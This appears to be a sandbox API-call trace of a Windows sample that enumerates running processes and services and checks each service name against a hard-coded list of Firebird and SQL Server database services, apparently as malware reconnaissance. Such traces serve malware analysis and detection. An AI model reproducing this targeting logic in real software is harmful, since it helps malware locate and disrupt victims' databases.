[0108.462] lstrlenW (lpString="gaps_industrial.exe") returned 19 [0108.462] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jerry pure.exe")) returned 1 [0108.462] lstrlenW (lpString="jerry pure.exe") returned 14 [0108.463] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powerseller.exe")) returned 1 [0108.463] lstrlenW (lpString="powerseller.exe") returned 15 [0108.463] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="non firewall.exe")) returned 1 [0108.464] lstrlenW (lpString="non firewall.exe") returned 16 [0108.464] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coal-cottage-vt.exe")) returned 1 [0108.465] lstrlenW (lpString="coal-cottage-vt.exe") returned 19 [0108.465] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="revealsprimarilywalk.exe")) returned 1 [0108.466] lstrlenW (lpString="revealsprimarilywalk.exe") returned 24 [0108.466] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="summer_knitting_map.exe")) returned 1 [0108.467] lstrlenW (lpString="summer_knitting_map.exe") returned 23 [0108.467] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="latina_rv_anything.exe")) returned 1 [0108.468] lstrlenW (lpString="latina_rv_anything.exe") returned 22 [0108.468] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephonyassumption.exe")) returned 1 [0108.469] lstrlenW (lpString="telephonyassumption.exe") returned 23 [0108.469] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bd guidance.exe")) returned 1 [0108.470] lstrlenW (lpString="bd guidance.exe") returned 15 [0108.470] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfb8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0108.471] lstrlenW (lpString="conhost.exe") returned 11 [0108.471] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xf90, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0108.472] lstrlenW (lpString="conhost.exe") returned 11 [0108.472] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lang hl gis.exe")) returned 1 [0108.473] lstrlenW (lpString="lang hl gis.exe") returned 15 [0108.473] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.473] lstrlenW (lpString="svchost.exe") returned 11 [0108.474] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0108.474] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0108.474] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0108.475] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0108.475] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xa7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0108.476] lstrlenW (lpString="conhost.exe") returned 11 [0108.476] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0108.477] lstrlenW (lpString="cmd.exe") returned 7 [0108.477] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0108.477] lstrlenW (lpString="conhost.exe") returned 11 [0108.478] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0108.478] lstrlenW (lpString="sppsvc.exe") returned 10 [0108.479] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0108.479] lstrlenW (lpString="dllhost.exe") returned 11 [0108.479] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0108.480] lstrlenW (lpString="mode.com") returned 8 [0108.480] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0108.481] lstrlenW (lpString="LogonUI.exe") returned 11 [0108.481] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0108.481] CloseHandle (hObject=0x388) returned 1 [0108.482] Sleep (dwMilliseconds=0x1f4) [0109.457] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x47f4d8 [0109.458] EnumServicesStatusExW (in: hSCManager=0x47f4d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 0 [0109.460] GetLastError () returned 0xea [0109.460] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1d4a) returned 0x368a0f0 [0109.461] EnumServicesStatusExW (in: hSCManager=0x47f4d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x368a0f0, cbBufSize=0x1d4a, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x368a0f0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 1 [0109.463] CloseServiceHandle (hSCObject=0x47f4d8) returned 1 [0109.463] lstrlenW (lpString="Appinfo") returned 7 [0109.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0109.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0109.463] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0109.463] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0109.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0109.464] lstrlenW (lpString="AppXSvc") returned 7 [0109.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0109.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0109.464] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0109.464] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0109.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0109.464] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0109.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0109.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0109.464] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0109.464] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0109.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0109.464] lstrlenW (lpString="Audiosrv") returned 8 [0109.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0109.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0109.464] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0109.464] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0109.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0109.464] lstrlenW (lpString="BFE") returned 3 [0109.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0109.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0109.464] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0109.464] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0109.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0109.464] lstrlenW (lpString="BITS") returned 4 [0109.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0109.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0109.465] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0109.465] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0109.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0109.465] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0109.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0109.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0109.465] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0109.465] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0109.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0109.465] lstrlenW (lpString="CDPSvc") returned 6 [0109.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0109.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0109.465] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0109.465] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0109.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0109.465] lstrlenW (lpString="ClickToRunSvc") returned 13 [0109.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0109.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0109.465] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0109.465] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0109.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0109.465] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0109.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0109.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0109.465] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0109.466] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0109.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0109.466] lstrlenW (lpString="CryptSvc") returned 8 [0109.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0109.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0109.466] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0109.466] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0109.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0109.466] lstrlenW (lpString="DcomLaunch") returned 10 [0109.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0109.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0109.466] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0109.466] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0109.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0109.466] lstrlenW (lpString="DeviceAssociationService") returned 24 [0109.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0109.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0109.466] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0109.466] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0109.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0109.466] lstrlenW (lpString="Dhcp") returned 4 [0109.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0109.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0109.466] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0109.466] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0109.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0109.467] lstrlenW (lpString="Dnscache") returned 8 [0109.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0109.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0109.467] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0109.467] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0109.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0109.467] lstrlenW (lpString="DoSvc") returned 5 [0109.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0109.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0109.467] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0109.467] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0109.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0109.467] lstrlenW (lpString="DPS") returned 3 [0109.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0109.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0109.467] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0109.467] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0109.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0109.467] lstrlenW (lpString="DusmSvc") returned 7 [0109.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0109.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0109.467] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0109.467] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0109.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0109.467] lstrlenW (lpString="EventLog") returned 8 [0109.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0109.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0109.468] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0109.468] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0109.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0109.468] lstrlenW (lpString="EventSystem") returned 11 [0109.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0109.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0109.468] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0109.468] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0109.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0109.468] lstrlenW (lpString="FontCache") returned 9 [0109.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0109.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0109.468] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0109.468] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0109.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0109.468] lstrlenW (lpString="gpsvc") returned 5 [0109.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0109.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0109.468] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0109.468] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0109.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0109.468] lstrlenW (lpString="iphlpsvc") returned 8 [0109.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0109.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0109.468] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0109.469] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0109.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0109.469] lstrlenW (lpString="KeyIso") returned 6 [0109.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0109.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0109.469] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0109.469] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0109.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0109.469] lstrlenW (lpString="LanmanServer") returned 12 [0109.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0109.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0109.469] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0109.469] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0109.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0109.469] lstrlenW (lpString="LanmanWorkstation") returned 17 [0109.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0109.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0109.469] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0109.469] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0109.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0109.469] lstrlenW (lpString="lfsvc") returned 5 [0109.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0109.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0109.469] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0109.469] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0109.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0109.469] lstrlenW (lpString="lmhosts") returned 7 [0109.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0109.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0109.470] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0109.470] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0109.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0109.470] lstrlenW (lpString="LSM") returned 3 [0109.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0109.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0109.470] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0109.470] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0109.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0109.470] lstrlenW (lpString="MpsSvc") returned 6 [0109.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0109.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0109.470] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0109.470] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0109.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0109.470] lstrlenW (lpString="NcbService") returned 10 [0109.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0109.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0109.470] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0109.470] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0109.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0109.470] lstrlenW (lpString="netprofm") returned 8 [0109.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0109.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0109.471] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0109.471] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0109.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0109.471] lstrlenW (lpString="NlaSvc") returned 6 [0109.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0109.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0109.471] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0109.471] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0109.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0109.471] lstrlenW (lpString="nsi") returned 3 [0109.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0109.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0109.471] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0109.471] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0109.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0109.471] lstrlenW (lpString="PcaSvc") returned 6 [0109.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0109.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0109.471] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 Thread: id = 5 os_tid = 0x7cc [0076.397] WaitForSingleObject (hHandle=0x19fddc, dwMilliseconds=0xffffffff) returned 0xffffffff [0076.398] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x484510 | out: hHeap=0x440000) returned 1 Thread: id = 6 os_tid 